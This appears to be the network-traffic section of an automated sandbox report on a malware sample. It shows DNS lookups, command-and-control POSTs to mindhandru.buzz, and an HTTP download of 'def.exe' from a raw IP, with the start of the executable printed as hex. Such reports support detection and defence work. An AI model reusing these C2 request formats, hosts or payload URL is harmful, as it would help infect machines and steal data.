Dec 27, 2024 15:13:13.374871969 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:13:22.491595030 CET	443	49783	172.217.21.36	192.168.2.5
Dec 27, 2024 15:13:22.491678953 CET	443	49783	172.217.21.36	192.168.2.5
Dec 27, 2024 15:13:22.491770029 CET	49783	443	192.168.2.5	172.217.21.36
Dec 27, 2024 15:13:22.498456001 CET	49783	443	192.168.2.5	172.217.21.36
Dec 27, 2024 15:13:22.498467922 CET	443	49783	172.217.21.36	192.168.2.5
Dec 27, 2024 15:13:42.305598021 CET	49703	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:13:42.305653095 CET	443	49703	23.1.237.91	192.168.2.5
Dec 27, 2024 15:13:42.305689096 CET	49703	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:13:42.306741953 CET	49911	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:13:42.306782007 CET	443	49911	23.1.237.91	192.168.2.5
Dec 27, 2024 15:13:42.306862116 CET	49911	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:13:42.307142973 CET	49911	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:13:42.307154894 CET	443	49911	23.1.237.91	192.168.2.5
Dec 27, 2024 15:13:43.651339054 CET	443	49911	23.1.237.91	192.168.2.5
Dec 27, 2024 15:13:43.651411057 CET	49911	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:14:03.018771887 CET	443	49911	23.1.237.91	192.168.2.5
Dec 27, 2024 15:14:03.018899918 CET	49911	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:14:10.982424021 CET	49974	443	192.168.2.5	172.217.21.36
Dec 27, 2024 15:14:10.982470036 CET	443	49974	172.217.21.36	192.168.2.5
Dec 27, 2024 15:14:10.982598066 CET	49974	443	192.168.2.5	172.217.21.36
Dec 27, 2024 15:14:10.982803106 CET	49974	443	192.168.2.5	172.217.21.36
Dec 27, 2024 15:14:10.982815981 CET	443	49974	172.217.21.36	192.168.2.5
Dec 27, 2024 15:14:12.716635942 CET	443	49974	172.217.21.36	192.168.2.5
Dec 27, 2024 15:14:12.720746994 CET	49974	443	192.168.2.5	172.217.21.36
Dec 27, 2024 15:14:12.720776081 CET	443	49974	172.217.21.36	192.168.2.5
Dec 27, 2024 15:14:12.721240997 CET	443	49974	172.217.21.36	192.168.2.5
Dec 27, 2024 15:14:12.762271881 CET	49974	443	192.168.2.5	172.217.21.36
Dec 27, 2024 15:14:12.778263092 CET	49974	443	192.168.2.5	172.217.21.36
Dec 27, 2024 15:14:12.778429985 CET	443	49974	172.217.21.36	192.168.2.5
Dec 27, 2024 15:14:12.824788094 CET	49974	443	192.168.2.5	172.217.21.36
Dec 27, 2024 15:14:22.406333923 CET	443	49974	172.217.21.36	192.168.2.5
Dec 27, 2024 15:14:22.406404972 CET	443	49974	172.217.21.36	192.168.2.5
Dec 27, 2024 15:14:22.406500101 CET	49974	443	192.168.2.5	172.217.21.36
Dec 27, 2024 15:14:23.827169895 CET	49974	443	192.168.2.5	172.217.21.36
Dec 27, 2024 15:14:23.827189922 CET	443	49974	172.217.21.36	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 15:12:25.137353897 CET	55594	53	192.168.2.5	1.1.1.1
Dec 27, 2024 15:12:25.274548054 CET	53	55594	1.1.1.1	192.168.2.5
Dec 27, 2024 15:13:07.439372063 CET	53	55742	1.1.1.1	192.168.2.5
Dec 27, 2024 15:13:07.498001099 CET	53	64947	1.1.1.1	192.168.2.5
Dec 27, 2024 15:13:10.385024071 CET	53	59518	1.1.1.1	192.168.2.5
Dec 27, 2024 15:13:10.921032906 CET	60877	53	192.168.2.5	1.1.1.1
Dec 27, 2024 15:13:10.921175957 CET	52024	53	192.168.2.5	1.1.1.1
Dec 27, 2024 15:13:11.058130026 CET	53	52024	1.1.1.1	192.168.2.5
Dec 27, 2024 15:13:11.058603048 CET	53	60877	1.1.1.1	192.168.2.5
Dec 27, 2024 15:13:14.735230923 CET	62114	53	192.168.2.5	1.1.1.1
Dec 27, 2024 15:13:14.735353947 CET	50915	53	192.168.2.5	1.1.1.1
Dec 27, 2024 15:13:22.636254072 CET	53	52145	1.1.1.1	192.168.2.5
Dec 27, 2024 15:13:24.656411886 CET	53592	53	192.168.2.5	1.1.1.1
Dec 27, 2024 15:13:24.656411886 CET	60059	53	192.168.2.5	1.1.1.1
Dec 27, 2024 15:13:27.262083054 CET	53	65070	1.1.1.1	192.168.2.5
Dec 27, 2024 15:13:46.391051054 CET	53	60870	1.1.1.1	192.168.2.5
Dec 27, 2024 15:14:06.320241928 CET	53	56915	1.1.1.1	192.168.2.5
Dec 27, 2024 15:14:09.009071112 CET	53	57074	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 27, 2024 15:13:15.141262054 CET	192.168.2.5	1.1.1.1	c2c2	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 15:12:25.137353897 CET	192.168.2.5	1.1.1.1	0xce4	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:13:10.921032906 CET	192.168.2.5	1.1.1.1	0x751a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:13:10.921175957 CET	192.168.2.5	1.1.1.1	0x2fae	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 27, 2024 15:13:14.735230923 CET	192.168.2.5	1.1.1.1	0xa718	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:13:14.735353947 CET	192.168.2.5	1.1.1.1	0x652e	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 27, 2024 15:13:24.656411886 CET	192.168.2.5	1.1.1.1	0x8bda	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:13:24.656411886 CET	192.168.2.5	1.1.1.1	0x2a0a	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 15:12:25.274548054 CET	1.1.1.1	192.168.2.5	0xce4	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:12:25.274548054 CET	1.1.1.1	192.168.2.5	0xce4	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:13:11.058130026 CET	1.1.1.1	192.168.2.5	0x2fae	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 27, 2024 15:13:11.058603048 CET	1.1.1.1	192.168.2.5	0x751a	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:13:14.872649908 CET	1.1.1.1	192.168.2.5	0xa718	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:13:14.872649908 CET	1.1.1.1	192.168.2.5	0xa718	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:13:14.872649908 CET	1.1.1.1	192.168.2.5	0xa718	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:13:14.872649908 CET	1.1.1.1	192.168.2.5	0xa718	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:13:15.104803085 CET	1.1.1.1	192.168.2.5	0xd3d0	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:13:15.141180038 CET	1.1.1.1	192.168.2.5	0x652e	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:13:15.141180038 CET	1.1.1.1	192.168.2.5	0x652e	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:13:15.220736980 CET	1.1.1.1	192.168.2.5	0x5364	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:13:15.220736980 CET	1.1.1.1	192.168.2.5	0x5364	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:13:15.220736980 CET	1.1.1.1	192.168.2.5	0x5364	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:13:17.966449976 CET	1.1.1.1	192.168.2.5	0x98c7	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:13:17.970572948 CET	1.1.1.1	192.168.2.5	0x8577	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:13:17.970572948 CET	1.1.1.1	192.168.2.5	0x8577	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:13:17.970572948 CET	1.1.1.1	192.168.2.5	0x8577	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:13:24.796303988 CET	1.1.1.1	192.168.2.5	0x2a0a	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:13:24.895889044 CET	1.1.1.1	192.168.2.5	0x8bda	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49733	185.215.113.16	80	4952	C:\Users\user\Desktop\eYAXkcBRfQ.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:12:52.840536118 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 15:12:54.222474098 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:12:53 GMT Content-Type: application/octet-stream Content-Length: 2787840 Last-Modified: Fri, 27 Dec 2024 14:04:53 GMT Connection: keep-alive ETag: "676eb405-2a8a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 98 d0 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui`D @ @ @.rsrcD``@.idata f@eopvusey)h@xpjnotyw b@.taggant@"h@
Dec 27, 2024 15:12:54.222496033 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:12:54.222502947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:12:54.222510099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:12:54.222517967 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:12:54.222598076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:12:54.222604036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:12:54.222619057 CET	1000	IN	Data Raw: d7 e7 16 48 e3 1d c8 77 13 1c ee 57 cb ed ed 57 e5 e7 e9 57 e3 1d c8 4d cb 03 ee 57 e1 fd f3 57 e3 e8 fd 4a e3 22 ee 57 e3 18 ee 57 d0 e7 18 48 e3 01 20 5c e3 1f 14 42 ea ed 11 63 a6 1c 16 d2 ed 06 31 50 e3 1f 14 3a c2 1f ee 47 cb 16 ee 57 e5 eb Data Ascii: HwWWWMWWJ"WWH \Bc1P:GW@WWHWaWoM$HKmED!-HoMWJ?WWH \Bc1P:GW@WWHWaW@WWOW
Dec 27, 2024 15:12:54.222625017 CET	1236	IN	Data Raw: f2 1f ee 57 e3 5f 1a 48 e3 e7 e7 57 e3 f8 5a 1b e3 27 04 48 e3 ef ed 57 e3 f8 28 1d a8 43 ee 57 e3 37 04 48 e3 6f eb 57 e3 f8 2b 24 8e 39 ee 57 e3 1f ee 57 e3 19 ee 57 e0 2c e3 49 d7 06 ec 57 e3 1f a4 49 32 1f 18 48 e3 1e ee 57 e3 fe ed 57 e3 00 Data Ascii: W_HWZ'HW(CW7HoW+$9WWW,IWI2HWWWXWWWWWWWWWWWWWZWMN:MMbVcNVNoVN{VN,Ns
Dec 27, 2024 15:12:54.222639084 CET	1236	IN	Data Raw: e3 50 17 48 e3 19 ee 0b e4 1f ee 4a e3 2a 14 48 c3 1f ee 57 e3 1f ee 48 e3 8b e9 57 e3 19 ee 78 e5 1f ee 4a e3 56 14 48 c3 1f ee 57 e3 1f ee 48 e3 8b e9 57 e3 19 ee 99 e8 1f ee 4a e3 71 13 48 c3 1f ee 57 e3 1f ee 48 e3 8b e9 57 e3 19 ee 95 e5 1f Data Ascii: PHJ*HWHWxJVHWHWJqHWHWJWLWsNW\@cW9BLWH HJA\|IP\|Bx\|X\|XF\|XV(\|]&8\|X6
Dec 27, 2024 15:12:54.342201948 CET	1236	IN	Data Raw: a6 42 ee 1a a4 28 5d 01 ae 45 2d 00 a0 45 29 0d e3 28 2b 1a 91 46 2d 0d 9e 45 51 17 a2 47 2f 06 a6 42 ee 05 a4 53 2c 01 a9 43 2b 06 a0 59 52 0d e3 45 2b 1c 9d 46 50 0c a7 46 5d 09 9d 4b 2b 48 92 42 5c 1e a8 58 2b 17 a4 29 5c 07 8d 54 5d 0d 91 42 Data Ascii: B(]E-E)(+F-EQG/BS,C+YRE+FPF]K+HB\X+)\T]B$+F-B$AEQ^(+HDUTKWS+HB\X+EZ)QS+HDUTWB\E/]-WT^(+DPE[E+FPBSB)XBA^PT-]W(-^PB\DVA

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.11.101	443	4952	C:\Users\user\Desktop\eYAXkcBRfQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:12:26 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 14:12:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 14:12:27 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:12:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=46d26g23910ar69rq3gqt0d24b; expires=Tue, 22 Apr 2025 07:59:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7LlLnLtHqA2B8m2LqRP1vLd1glQ7LeJlB3SvmBjpO40jORJQ%2Fy7Xm6BVjqa1hNiHDPj7KEE71m%2FYdKzd8Lzf%2B5m6GbWufdQLmVWsfg7%2FHuodUJe%2B2kHhtYG6qYtRWffFgww%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e7d49f17728a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1812&min_rtt=1805&rtt_var=691&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1567364&cwnd=227&unsent_bytes=0&cid=f85c70fc06c57dd8&ts=769&x=0"
2024-12-27 14:12:27 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 14:12:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.11.101	443	4952	C:\Users\user\Desktop\eYAXkcBRfQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:12:28 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: mindhandru.buzz
2024-12-27 14:12:28 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-27 14:12:29 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:12:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b8re3csu7n9n1pe6qki97niqq1; expires=Tue, 22 Apr 2025 07:59:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tx9uR78d873vhtdDcqfkYb5nw6RnonDWSPXvxOMVFBez0gGqUvvj3EgiCTtZbdwyqI%2BW%2Bwy5f1CVbOJa6L1qm%2BXG0WY9dH7krLr6yRV%2BCXzMgBU%2FpSj2ecZOW0bOHv2x%2BHQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e7e14d294285-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1745&min_rtt=1737&rtt_var=668&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=952&delivery_rate=1616832&cwnd=32&unsent_bytes=0&cid=a1b95488b53fa067&ts=795&x=0"
2024-12-27 14:12:29 UTC	241	IN	Data Raw: 34 36 38 0d 0a 49 74 50 6a 6a 45 43 5a 62 75 78 33 66 70 55 6a 46 46 61 2f 42 68 71 6e 78 71 53 31 6f 2b 74 7a 41 7a 57 38 66 55 67 77 55 6a 56 5a 38 5a 57 75 65 71 31 43 7a 67 51 62 74 78 6c 67 4a 4d 70 6a 4e 6f 57 6e 77 4a 65 5a 6a 52 4a 76 52 74 6c 52 61 6b 59 2f 46 78 69 31 67 75 41 7a 2f 45 4c 4f 45 67 61 33 47 55 38 74 6e 57 4e 30 68 66 79 47 30 4d 6d 4a 45 6d 39 58 33 52 59 6e 51 44 35 57 53 72 2b 45 35 43 58 36 43 6f 30 62 45 2f 42 47 63 54 66 56 61 48 50 4b 72 73 6d 58 6a 38 6b 57 65 52 65 47 58 77 56 56 4a 6c 52 76 73 70 44 6e 59 75 52 43 6c 31 55 62 2b 77 45 75 64 4e 35 6a 65 4d 75 67 77 4e 37 4c 67 78 74 6e 56 74 67 58 4f 46 6b 30 58 55 71 78 68 2b 55 76 38 78 36 41 45 52 54 37 51 48 73 33 6e 53 6f 34 Data Ascii: 468ItPjjECZbux3fpUjFFa/BhqnxqS1o+tzAzW8fUgwUjVZ8ZWueq1CzgQbtxlgJMpjNoWnwJeZjRJvRtlRakY/Fxi1guAz/ELOEga3GU8tnWN0hfyG0MmJEm9X3RYnQD5WSr+E5CX6Co0bE/BGcTfVaHPKrsmXj8kWeReGXwVVJlRvspDnYuRCl1Ub+wEudN5jeMugwN7LgxtnVtgXOFk0XUqxh+Uv8x6AERT7QHs3nSo4
2024-12-27 14:12:29 UTC	894	IN	Data Raw: 77 72 79 47 6a 34 48 61 49 32 4a 47 7a 77 6f 6e 51 6a 59 58 58 2f 2b 59 72 69 58 33 54 4e 5a 56 46 50 74 50 63 7a 66 53 59 33 6e 46 74 73 6e 58 77 6f 45 5a 5a 56 33 52 45 43 56 63 4f 6c 42 49 75 49 62 68 4a 66 4d 4b 67 52 5a 63 75 51 46 78 4c 4a 30 38 4f 4f 57 30 78 64 54 56 68 41 41 68 53 4a 41 47 61 6c 55 38 46 78 6a 78 68 2b 41 6a 39 67 79 63 48 52 66 38 52 47 51 2f 31 47 6c 31 78 61 6e 4d 32 4d 4b 4a 46 6d 74 64 30 52 55 75 58 7a 31 52 51 4c 48 42 6f 47 4c 38 46 4d 35 4e 58 4e 52 45 5a 6a 50 52 63 6a 72 2f 35 4e 6d 5a 32 4d 6b 57 62 52 65 47 58 79 4a 58 4d 31 52 4c 76 6f 4c 6d 4b 65 6b 4d 6e 42 4d 52 38 6c 4e 77 4d 64 4e 75 65 39 65 75 79 4e 48 43 67 42 70 6f 55 74 6b 62 61 68 78 77 55 46 6a 78 32 61 34 44 39 67 65 43 48 77 76 33 41 57 6c 36 78 43 52 Data Ascii: wryGj4HaI2JGzwonQjYXX/+YriX3TNZVFPtPczfSY3nFtsnXwoEZZV3RECVcOlBIuIbhJfMKgRZcuQFxLJ08OOW0xdTVhAAhSJAGalU8Fxjxh+Aj9gycHRf8RGQ/1Gl1xanM2MKJFmtd0RUuXz1RQLHBoGL8FM5NXNREZjPRcjr/5NmZ2MkWbReGXyJXM1RLvoLmKekMnBMR8lNwMdNue9euyNHCgBpoUtkbahxwUFjx2a4D9geCHwv3AWl6xCR
2024-12-27 14:12:29 UTC	1369	IN	Data Raw: 34 34 62 34 0d 0a 36 47 64 32 79 36 50 51 6c 39 37 48 43 43 46 51 30 6c 39 79 45 6a 39 59 54 37 6d 42 37 79 62 32 43 49 38 59 45 50 35 43 65 6a 6a 56 61 58 54 42 71 38 37 66 77 6f 45 44 62 31 6e 59 47 53 70 58 63 42 6b 41 74 70 6d 75 65 72 73 6f 67 41 49 49 2f 41 4e 44 4e 39 4e 71 66 39 50 6b 32 5a 6e 59 79 52 5a 74 46 34 5a 66 4a 46 38 37 57 30 65 34 67 4f 30 69 38 51 4b 42 48 78 54 2f 51 58 73 31 31 6d 78 2b 79 4b 2f 4a 32 4d 61 42 45 6d 31 53 30 78 78 71 48 48 42 51 57 50 48 5a 72 67 66 31 44 35 38 45 58 73 4a 43 65 44 72 61 63 6a 6a 61 36 74 2b 58 78 6f 56 52 4f 52 66 55 47 43 31 57 50 56 31 44 74 59 58 6a 4c 66 49 46 68 77 63 57 2b 30 39 6b 4f 64 64 68 64 73 6d 68 79 64 66 41 69 42 39 72 58 4a 35 52 61 6c 55 6f 46 78 6a 78 72 75 4d 79 36 51 61 46 42 Data Ascii: 44b46Gd2y6PQl97HCCFQ0l9yEj9YT7mB7yb2CI8YEP5CejjVaXTBq87fwoEDb1nYGSpXcBkAtpmuersogAII/ANDN9Nqf9Pk2ZnYyRZtF4ZfJF87W0e4gO0i8QKBHxT/QXs11mx+yK/J2MaBEm1S0xxqHHBQWPHZrgf1D58EXsJCeDracjja6t+XxoVRORfUGC1WPV1DtYXjLfIFhwcW+09kOddhdsmhydfAiB9rXJ5RalUoFxjxruMy6QaFB
2024-12-27 14:12:29 UTC	1369	IN	Data Raw: 78 4c 4a 30 38 4f 4f 71 6e 30 4e 32 42 6c 6c 39 34 46 39 6b 54 61 67 70 77 58 55 79 31 67 75 49 72 39 77 47 50 45 52 76 36 52 58 59 79 32 32 46 35 7a 71 7a 4b 32 4d 75 46 46 57 31 65 32 42 4d 70 55 54 59 58 44 76 47 47 39 6d 4b 6a 54 4b 38 59 46 2f 74 42 64 53 58 61 4a 44 61 46 71 73 44 58 67 64 45 48 63 55 44 5a 41 47 52 4c 63 46 42 4d 38 64 6d 75 4b 4f 6b 4a 67 42 45 57 38 6b 56 36 50 74 31 68 61 73 32 69 77 64 76 4a 6a 42 35 6e 55 74 4d 59 49 56 45 69 52 55 4f 31 6a 2b 4a 69 74 55 79 4a 44 56 79 76 41 56 4d 6a 33 6e 52 2b 78 75 54 5a 6d 64 6a 4a 46 6d 30 58 68 6c 38 71 58 44 78 63 52 37 71 4b 36 69 62 37 41 59 55 62 45 76 35 4e 66 6a 6a 61 64 6e 58 41 72 4d 7a 65 78 49 55 63 59 6b 58 64 48 6d 6f 63 63 46 42 59 38 64 6d 75 42 63 67 37 72 56 55 44 75 56 Data Ascii: xLJ08OOqn0N2Bll94F9kTagpwXUy1guIr9wGPERv6RXYy22F5zqzK2MuFFW1e2BMpUTYXDvGG9mKjTK8YF/tBdSXaJDaFqsDXgdEHcUDZAGRLcFBM8dmuKOkJgBEW8kV6Pt1has2iwdvJjB5nUtMYIVEiRUO1j+JitUyJDVyvAVMj3nR+xuTZmdjJFm0Xhl8qXDxcR7qK6ib7AYUbEv5NfjjadnXArMzexIUcYkXdHmoccFBY8dmuBcg7rVUDuV
